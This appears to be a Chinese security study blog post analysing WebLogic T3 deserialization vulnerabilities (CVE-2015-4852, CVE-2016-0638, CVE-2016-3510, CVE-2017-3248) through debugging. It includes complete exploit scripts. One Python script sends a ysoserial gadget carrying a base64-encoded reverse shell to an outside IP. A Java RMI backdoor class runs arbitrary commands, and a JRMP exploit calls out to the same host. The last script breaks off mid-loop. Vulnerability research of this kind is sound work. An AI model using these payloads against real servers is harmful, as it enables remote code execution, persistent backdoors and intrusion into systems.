参考:
Weblogic基础-T3协议学习 和我们学的JDBC反序列化一样,Weblogic也有类似的过程,最主要体现在反序列化的标识和一些hanshake握手包,先进行一手环境搭建
环境搭建 这里使用的是docker+IDEA远程调试,这种方式其实也并不是非常麻烦,用过一次后就好多了 首先把镜像起了,Github上有现成的环境[https://github.com/QAX-A-Team/WeblogicEnvironment](https://github.com/QAX-A-Team/WeblogicEnvironment)
这里没有给你JDK环境,所以你得自己去搞一下 JDK安装包下载[https://www.oracle.com/java/technologies/downloads/archive/](https://www.oracle.com/java/technologies/downloads/archive/)
Weblogic安装包下载地址: 下载generichttps://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html 进去后先build一层镜
1 docker build --build-arg JDK_PKG=jdk-8u202-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk8u202 .
然后再run起来
1 docker run -d -p 7001 :7001 -p 8453 :8453 -p 5556 :5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202
这里是不可以直接run起来的,因为有些BUG,它的dockerfile没有写好,所以需要加上这一条:
1 2 3 RUN cd /etc/yum.repos.d/ RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
访问[http://localhost:7001/console/login/LoginForm.jsp](http://localhost:7001/console/login/LoginForm.jsp)
,出现如下登录界面
T3协议概述 RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:
服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
T3协议结构 请求包头: 请求头的数据如下
1 t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
我们用python写一个脚本发送请求头给服务器,用wireshark抓包看看会是什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import socketdef T3Test (ip,port ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) while True : data = sock.recv(1024 ) print (data.decode()) if __name__ == "__main__" : ip = "localhost" port = 7001 T3Test(ip,port)
选择本地回环进行抓取 可以发现webloigc返回给我们的报文,里面包括了一些版本信息,这里有2张图可以较好的描述一下 第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式
将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
以上分析来自于@sp4z师傅,个人感觉说的比较好,确实有2种替换方式,因为2-7部分全是序列化部分,并且最终会在服务端反序列化的
CVE-2015-4852(T3 反序列化漏洞) 简单复现 准备好我们上述的Weblogic1036,搭建起来后用如下脚本进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import socketimport sysimport structimport reimport subprocessimport binasciidef get_payload1 (gadget, command ): JAR_FILE = 'ysoserial.jar' popen = subprocess.Popen(['java' , '-jar' , JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2 (path ): with open (path, "rb" ) as f: return f.read() def exp (host, port, payload ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" .encode() sock.sendall(handshake) data = sock.recv(1024 ) pattern = re.compile (r"HELO:(.*).false" ) version = re.findall(pattern, data.decode()) if len (version) == 0 : print ("Not Weblogic" ) return print ("Weblogic {}" .format (version[0 ])) data_len = binascii.a2b_hex(b"00000000" ) t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" ) flag = binascii.a2b_hex(b"fe010000" ) payload = data_len + t3header + flag + payload payload = struct.pack('>I' , len (payload)) + payload[4 :] sock.send(payload) if __name__ == "__main__" : host = "localhost" port = 7001 gadget = "CommonsCollections6" command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" payload = get_payload1(gadget, command) exp(host, port, payload)
将ysoseiral放在脚本相同目录,然后运行即可收到反弹shell
序列化内容分析 一开始我们分析了一下请求头和响应包,那我们现在来看看 还是跟刚刚一样抓包,可以看到我们已经将第三个数据包换成了ysoserial的恶意paylaod,然后关于这个数据包分为四个组成部分
数据包长度
T3协议头
反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
数据
长度就是数据包的长度,然后T3协议头和上面说到的请求包头不是一个东西,这个协议头是固定的,在payload中注释提到了
远程调试准备 分析完内容之后就该调试了 在分析之前需要做好远程调试的准备,我们在build的时候开放的是8453端口,因此调试的时候选这个端口即可 首先把需要的lib导出
1 2 3 4 5 C:\Users\22927> docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/modules E:\CTFLearning\WeblogicEnvironment-master C:\Users\22927> docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/wlserver E:\CTFLearning\WeblogicEnvironment-master C:\Users\22927> docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/coherence_3.7/lib E:\CTFLearning\WeblogicEnvironment-master
在调试之前你需要源码内容,打开IDEA,随便创建一个maven项目,将上面的东西都当成依赖导入,然后加一个远程JVM DEBUG服务,开始调试,端口为8453
原理分析 漏洞点处于InboundMsgAbbrev#readObject
调用了内部类ServerChannelInputStream
的readObject方法,该类继承ObjectInputstream 并且有自己的resolveclass方法 因此最终进入的会是这里,但是在走入这一步之前还有一些步骤,可以看到调用的是父类也就是ObjectInputstream方法的resolveclass,并且自身的resolveclass没有任何防护,所以就会造成反序列化攻击漏洞 首先是ObjectInputstream#readObject 然后是readObject0, readOrdinaryObject,并且从下方变量可以看到payload里面的Hashset ReadClassDesc方法,然后可以看到红框中有2个分支,分别是proxy和noneproxy,这里用的是CC6,因此没有proxy代理,因此进入下面分支 回到最初的resolveclass进行后续处理,随之就是命令执行了。 因为没有给重写的resolveclass方法加上黑名单,所以我们可以使用恶意payload进行攻击,并且webloigc是自带低版本的CC依赖包的: 因此攻击思路就成立了,最后从网上扒下来一张流程图
漏洞修复 修复的也很简单,就是直接在resolveclass打补丁,因为这是最方便的 虽然方便,但是双向来看,攻击者也更方便知道如何绕过了,既然你ban了黑名单,我们就可以进行bypass,因此也就有了接下来后续的漏洞
CVE-2016-0638(CVE-2015-4852 修复后的绕过) 环境 Weblogic1036、JDK8U202
漏洞概况 前提知识:在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法
和上面说的一样,补丁设置了一些黑名单,现在我们需要做的事情就是找到别的类中是否有可以利用的readObject进行二次反序列化,这样就可以绕过了,并且注意我 们前提知识里的话,会依次调用readObject、readResolve、readExternal。这样的话思维不就更开阔了,我们可以找一个类里面有这三个里面任选一个的方法,三选一可能性加大
漏洞原理 在这里大佬们是找到了weblogic.jms.common.StreamMessageImpl
这B类我在1036版本怎么找都是找不到,我猜是在补丁里,但这补丁又要钱网上下不到,所以偷个懒QWQ 这个类不在黑名单中,因此可以进行反序列化,我们看看这个类的结构 这个类中的readExternal方法里面最终调用了readObject,因此最终造成了二次反序列化,var4的由来如下 最后是在一个Chunk中的,所以我们只需要生成payload的时候丢进去即可
填坑 网上并没有说明这个问题捏,浪费我2个小时,我草了 破案了,破大案了,不是说找不到类吗,结果一搜发现一个问题 就是咱们的StreamMessageImpl
类是需要我们手动创建出来的。。。否则找不着,按照他说的创建一下 java -jar ../../../modules/com.bea.core.jarbuilder_X.X.X.X.jar
/java/bin/java -jar ../../../modules/com.bea.core.jarbuilder_1.7.0.0.jar
在运行上述指令前,你需要进入wlserver/server/lib
目录,否则会报错 然后运行之后就可以得到jar包拉,我们想调试的话需要把这个jar包加入依赖
漏洞复现?漏洞复现! 这里使用开源工具https://github.com/5up3rc/weblogic_cmd 下载下来,然后JDK版本要求是1.6,配置一下,如下 直接发射,即可执行命令 但是我这里报了个这个错误,这是因为我上述环境没有配置好的原因Orz,由于我的jdk用的是8u202所以CC1是打不通的! 该工具生成payload的地方如上,采用完整CC1流程,那我就想魔改一下改成CC6,那样就可以和CVE2015一样成功执行了
魔改为CC6其实很简单,因为这个工具的分离其实做的不错,嵌合度没有太高,我们可以很轻松的改链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private static byte [] serialData(Transformer[] transformers) throws Exception { final Transformer transformerChain = new ChainedTransformer (transformers); final Map innerMap = new HashMap (); Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); innerMap.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,transformerChain); Object _handler = BypassPayloadSelector.selectBypass(hashMap); return Serializables.serialize(_handler); }
将生成payload的地方改为我设置的即可 getshell!
EXP流程分析 漏洞原理就和一开始一样,我们看看是怎么生成payload的,开启debug模式给断点 首先进行一系列的初始化,并判断我们传入的参数,随之进入executebind方法 接下来获取参数中的B和C,必须要有这两个才能进行下一步 进入bindExecute方法 判断系统是Linux还是windows,这里是Linux,随后进入生成payload的函数SerialDataGenerator.serialBlindDatas
这里是生成CC链里的chaintransformer的地方,生成完后退回serialBlindDatas
,进入serialData
这里就是我们魔改的地方了,改为CC6,在最后之前会判断一下bypass,因为有2种方式可以绕过黑名单,这是第一种 咱们这里的方法为streamMessageImpl
最外层的壳为streamMessageImpl了,至此payload生成结束,随后就是序列化并发往服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 public static void send (String host, String port, byte [] payload) throws Exception { Socket s = SocketFactory.newSocket(host, Integer.parseInt(port)); String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n" ; if (Main.cmdLine.hasOption("https" )) { header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n" ; } s.getOutputStream().write(header.getBytes()); s.getOutputStream().flush(); BufferedReader br = new BufferedReader (new InputStreamReader (s.getInputStream())); String versionInfo = br.readLine(); if (Main.version == null ) { versionInfo = versionInfo.replace("HELO:" , "" ); versionInfo = versionInfo.replace(".false" , "" ); System.out.println("weblogic version:" + versionInfo); Main.version = versionInfo; } String cmd = "08" ; String qos = "65" ; String flags = "01" ; String responseId = "ffffffff" ; String invokableId = "ffffffff" ; String abbrevOffset = "00000000" ; String countLength = "01" ; String capacityLength = "10" ; String readObjectType = "00" ; StringBuilder datas = new StringBuilder (); datas.append(cmd); datas.append(qos); datas.append(flags); datas.append(responseId); datas.append(invokableId); datas.append(abbrevOffset); countLength = "04" ; datas.append(countLength); String pahse1Str = BytesOperation.bytesToHexString(payload); datas.append(capacityLength); datas.append(readObjectType); datas.append(pahse1Str); AuthenticatedUser authenticatedUser = new AuthenticatedUser ("weblogic" , "admin123" ); String phase4 = BytesOperation.bytesToHexString(Serializables.serialize(authenticatedUser)); datas.append(capacityLength); datas.append(readObjectType); datas.append(phase4); JVMID src = new JVMID (); Constructor constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean .class); constructor.setAccessible(true ); src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1" ),false ); Field serverName = src.getClass().getDeclaredField("differentiator" ); serverName.setAccessible(true ); serverName.set(src,1 ); datas.append(capacityLength); datas.append(readObjectType); datas.append(BytesOperation.bytesToHexString(Serializables.serialize(src))); JVMID dst = new JVMID (); constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean .class); constructor.setAccessible(true ); src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1" ),false ); serverName = src.getClass().getDeclaredField("differentiator" ); serverName.setAccessible(true ); serverName.set(dst,1 ); datas.append(capacityLength); datas.append(readObjectType); datas.append(BytesOperation.bytesToHexString(Serializables.serialize(dst))); byte [] headers = BytesOperation.hexStringToBytes(datas.toString()); int len = headers.length + 4 ; String hexLen = Integer.toHexString(len); StringBuilder dataLen = new StringBuilder (); if (hexLen.length() < 8 ) { for (int i = 0 ; i < (8 - hexLen.length()); i++) { dataLen.append("0" ); } } dataLen.append(hexLen); s.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString())); s.getOutputStream().flush(); s.close(); } }
直接用代码来展示了,这其实做的就是当时py脚本做的事情,由于java太臭了所以显得很长
CVE-2016-3510(另一种绕过) 环境 Weblogic1036、JDK8U202
漏洞概况 之前不是用的StreamMessageImpl二次反序列化嘛,但是我们需要关注一件事情
在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法
这个需要注意呀,上面是在readExternal,而这次dalao们找到的类是MarshalledObject (weblogic.corba.utils)
中的readResolve方法
漏洞复现 很简单只需改一下上面payload中的类型: 之后也是直接发射 直接getshell,接下里分析一下漏洞的触发链,EXP生成过程就不说了,和上面一模一样,只是外面的皮不一样了
漏洞分析 漏洞点位于MarshalledObject#readResolve
方法 在这里对变量var2进行了二次反序列化,和上面一样,那我们看看var2是怎么来的,可以看到最终来自this.objBytes
在初始化的过程中就已经给他赋值了,所以也是和SteamMessageImpl一样的生成方式拉 我也重新debug了一下,发现确实是如此
骚姿势来回显命令执行结果 这篇文章介绍了如何处理webloigc无回显的命令执行的问题,假如不出网的话可以用这种方法 这个师傅文章写的很好,介绍了几种冷门回显
RMI反序列化获得回显 环境 Weblogic1036、JDK8U202
漏洞概况 该漏洞是结合RMI对Weblogic进行反序列化的payload,分析起来比较的复杂,但是也很有意义,这就来尝试一波。这个payload是解决webloigc没回显时的方案,也就是不出网,也不打内存马的备案
漏洞复现 起手式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.boogipop.payload;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import weblogic.cluster.singleton.ClusterMasterRemote;import javax.naming.Context;import javax.naming.InitialContext;import java.io.BufferedReader;import java.io.InputStreamReader;import java.rmi.RemoteException;import java.util.ArrayList;import java.util.List;public class RemoteImpl extends AbstractTranslet implements ClusterMasterRemote { static { try { Context ctx = new InitialContext (); ctx.rebind("Boogipop" , new RemoteImpl ()); }catch (Exception e){ } } public static void main (String[] args) { } @Override public void setServerLocation (String cmd, String args) throws RemoteException { } @Override public String getServerLocation (String cmd) throws RemoteException { try { List<String> cmds = new ArrayList <String>(); cmds.add("/bin/bash" ); cmds.add("-c" ); cmds.add(cmd); ProcessBuilder processBuilder = new ProcessBuilder (cmds); processBuilder.redirectErrorStream(true ); Process proc = processBuilder.start(); BufferedReader br = new BufferedReader (new InputStreamReader (proc.getInputStream())); StringBuffer sb = new StringBuffer (); String line; while ((line = br.readLine()) != null ) { sb.append(line).append("\n" ); } return sb.toString(); } catch (Exception e) { return e.getMessage(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
准备一个恶意的远程接口类,将其编译成字节码,随之传入我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 package com.boogipop;import com.boogipop.serial.Reflections;import com.boogipop.ssl.WeblogicTrustManager;import com.boogipop.weblogic.T3ProtocolOperation;import com.boogipop.weblogic.WebLogicOperation;import org.apache.commons.cli.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.mozilla.classfile.DefiningClassLoader;import weblogic.cluster.singleton.ClusterMasterRemote;import weblogic.jndi.Environment;import javax.naming.Context;import java.io.*;import java.lang.reflect.Field;import java.util.*;public class Main { public static final String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory" ; public static String TYPE = "marshall" ; public static List<String> types = Arrays.asList(new String []{"marshall" , "collection" , "streamMessageImpl" }); public static String version; public static CommandLine cmdLine; private static String cmd = "whoami" ; private static byte [] bytes={your_bytes_code}; public static void main (String[] args) { System.setProperty("weblogic.security.allowCryptoJDefaultJCEVerification" , "true" ); System.setProperty("weblogic.security.allowCryptoJDefaultPRNG" , "true" ); System.setProperty("weblogic.security.SSL.ignoreHostnameVerification" , "true" ); System.setProperty("weblogic.security.TrustKeyStore" , "DemoTrust" ); Options options = new Options (); options.addOption("H" , true , "Remote Host[need set]" ); options.addOption("P" , true , "Remote Port[need set]" ); options.addOption("C" , true , "Execute Command[need set]" ); options.addOption("T" , true , "Payload Type" + types); options.addOption("U" , false , "Uninstall rmi" ); options.addOption("B" , false , "Runtime Blind Execute Command maybe you should select os type" ); options.addOption("os" , true , "Os Type [windows,linux]" ); options.addOption("https" , false , "enable https or tls" ); options.addOption("shell" , false , "enable shell module" ); options.addOption("upload" , false , "enable upload a file" ); options.addOption("src" , true , "path to src file " ); options.addOption("dst" , true , "path to dst file " ); options.addOption("noExecPath" , false , "custom execute path" ); try { String host = "127.0.0" ; String port = "7001" ; CommandLineParser parser = new DefaultParser (); cmdLine = parser.parse(options, args); if (cmdLine.hasOption("H" )) { host = cmdLine.getOptionValue("H" ); } else { HelpFormatter formatter = new HelpFormatter (); formatter.printHelp("test" , options); System.exit(0 ); } if (cmdLine.hasOption("P" )) { port = cmdLine.getOptionValue("P" ); } if (cmdLine.hasOption("C" )) { cmd = cmdLine.getOptionValue("C" ); } if (cmdLine.hasOption("T" )) { TYPE = cmdLine.getOptionValue("T" ); } if (cmdLine.hasOption("U" )) { System.out.println("开始删除rmi实例" ); WebLogicOperation.unInstallRmi(host, port); System.out.println("后门删除实例" ); System.exit(0 ); } String url = "t3://" + host + ":" + port; invokeRMI(host,port); Environment environment = new Environment (); environment.setProviderUrl(url); environment.setEnableServerAffinity(false ); environment.setSSLClientTrustManager(new WeblogicTrustManager ()); Context context = environment.getInitialContext(); ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Boogipop" ); String res = remote.getServerLocation(cmd); System.out.println(res); } catch (Exception e) { e.printStackTrace(); } } private static void invokeRMI (String host,String port) throws Exception { final Transformer transformerChain = new ChainedTransformer ( new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (DefiningClassLoader.class), new InvokerTransformer ("getDeclaredConstructor" , new Class []{Class[].class}, new Object []{new Class [0 ]}), new InvokerTransformer ("newInstance" , new Class []{Object[].class}, new Object []{new Object [0 ]}), new InvokerTransformer ("defineClass" , new Class []{String.class, byte [].class}, new Object []{"com.Boogipop.payload.RemoteImpl" , bytes}), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"main" , new Class []{String[].class}}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object []{null }}), new ConstantTransformer (1 )}; final Map innerMap = new HashMap (); Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap (); hashMap.put(tiedMapEntry,"bbb" ); innerMap.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); factory.set(lazymap,transformerChain); ByteArrayOutputStream out = new ByteArrayOutputStream (); ObjectOutputStream objOut = new ObjectOutputStream (out); objOut.writeObject(hashMap); objOut.flush(); objOut.close(); byte [] payload = out.toByteArray(); T3ProtocolOperation.send(host, port, payload); } public static void tobytes () throws FileNotFoundException { String jarname = "E:\\CTFLearning\\WeblogicEnvironment-master\\weblogic_cmd-master\\weblogic_cmd-master\\out\\production\\weblogic_cmd\\com\\test\\payload\\RemoteImpl.class" ; InputStream is = new FileInputStream (jarname); ByteArrayOutputStream bytestream = new ByteArrayOutputStream (); int ch; byte imgdata[] = null ; try { while ((ch = is.read()) != -1 ) { bytestream.write(ch); } imgdata = bytestream.toByteArray(); } catch (IOException e) { e.printStackTrace(); } finally { try { bytestream.close(); } catch (IOException e) { e.printStackTrace(); } } System.out.println(Arrays.toString(imgdata)); } }
随之一键运行: 有关改写weblogic_cmd的请移步:记一次Weblogic_cmd小改
漏洞分析 RMI回顾 有关主动请求恶意RMI服务端的东西: 以及ysoserial里exploit和payload模块里一些异同 在之前我们学习过RMI反序列化及其原理分析,这里我们简单回顾一下 Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package com.test.rmi;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.server.UnicastRemoteObject;public class RMIServer { public interface IRemoteHelloWorld extends Remote { public String hello () throws RemoteException; } public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld () throws RemoteException { super (); } @Override public String hello () throws RemoteException { System.out.println("call hello()" ); return "helloworld" ; } } private void start () throws Exception { RemoteHelloWorld h = new RemoteHelloWorld (); LocateRegistry.createRegistry(1099 ); Naming.rebind("rmi://127.0.0.1:1099/Hello" , h); } public static void main (String[] args) throws Exception { new RMIServer ().start(); } }
Client:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.test.Train;import com.test.rmi.RMIServer;import java.rmi.Naming;public class RMIClient { public static void main (String[] args) throws Exception { RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello" ); String res = hello.hello(); System.out.println(res); } }
客户端调用一下就会输出hello,这就是简单的RMI
流程分析 还是那套调试法,应万变 断点还是给在最初的起点,也就是T3反序列化的那个地方,随之我们运行POC,等待响应,哟来了 老地方,随后就是裸的触发CC6,先进入Hashmap 然后这一套打完了,就会进入Chaintransfomer方法去链式调用方法,接着就会加载到我们的恶意远程类 首先实例化一下Context,然后后续就是一系列的实例化过程,结束过后就进入远程调用环节 在服务端执行命令,最后返回结果给客户端了 调用栈如下
1 2 3 4 5 6 7 8 9 10 getServerLocation:42, RemoteImpl (com.boogipop.payload) invoke:-1, RemoteImpl_WLSkel (com.boogipop.payload) invoke:667, BasicServerRef (weblogic.rmi.internal) run:522, BasicServerRef$1 (weblogic.rmi.internal) doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) runAs:146, SecurityManager (weblogic.security.service) handleRequest:518, BasicServerRef (weblogic.rmi.internal) run:118, WLSExecuteRequest (weblogic.rmi.internal.wls) execute:256, ExecuteThread (weblogic.work) run:221, ExecuteThread (weblogic.work)
这里把流程机制的简化了,为了方便理解,其实我都是一步步跟到挺深的地方
CVE-2017-3248 环境 Weblogic1036、JDK8U202
漏洞概述 该漏洞其实和上个分P里讲到的RMI差不多,这个CVE可以对标TCTF-3rm1了,其中的RemoteObjectInvocationHandler就出自这个漏洞,算是闭环了,学了这么多 这个洞是利用反序列化让Weblogic请求我们恶意的服务端,我们监听一波就好
漏洞复现 将ysoserial复制到exp那个目录里,运行即可java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 'touch /tmp/success'
上面的payload需要靶机可以访问到,因此最好放在公网 随之用py2运行exp.pyC:\Python27\python.exe exp.py 127.0.0.1 7001 ./ysoserial.jar 114.116.119.253 8888 JRMPClient
exp内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from __future__ import print_functionimport binasciiimport osimport socketimport sysimport timedef generate_payload (path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client ): command = 'java -jar {} {} {}:{} > payload.out' .format (path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port) print ("command: " + command) os.system(command) bin_file = open ('payload.out' ,'rb' ).read() return binascii.hexlify(bin_file) def t3_handshake (sock, server_addr ): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a' .decode('hex' )) time.sleep(1 ) sock.recv(1024 ) print ('handshake successful' ) def build_t3_request_object (sock, port ): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07' .format ('{:04x}' .format (dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: 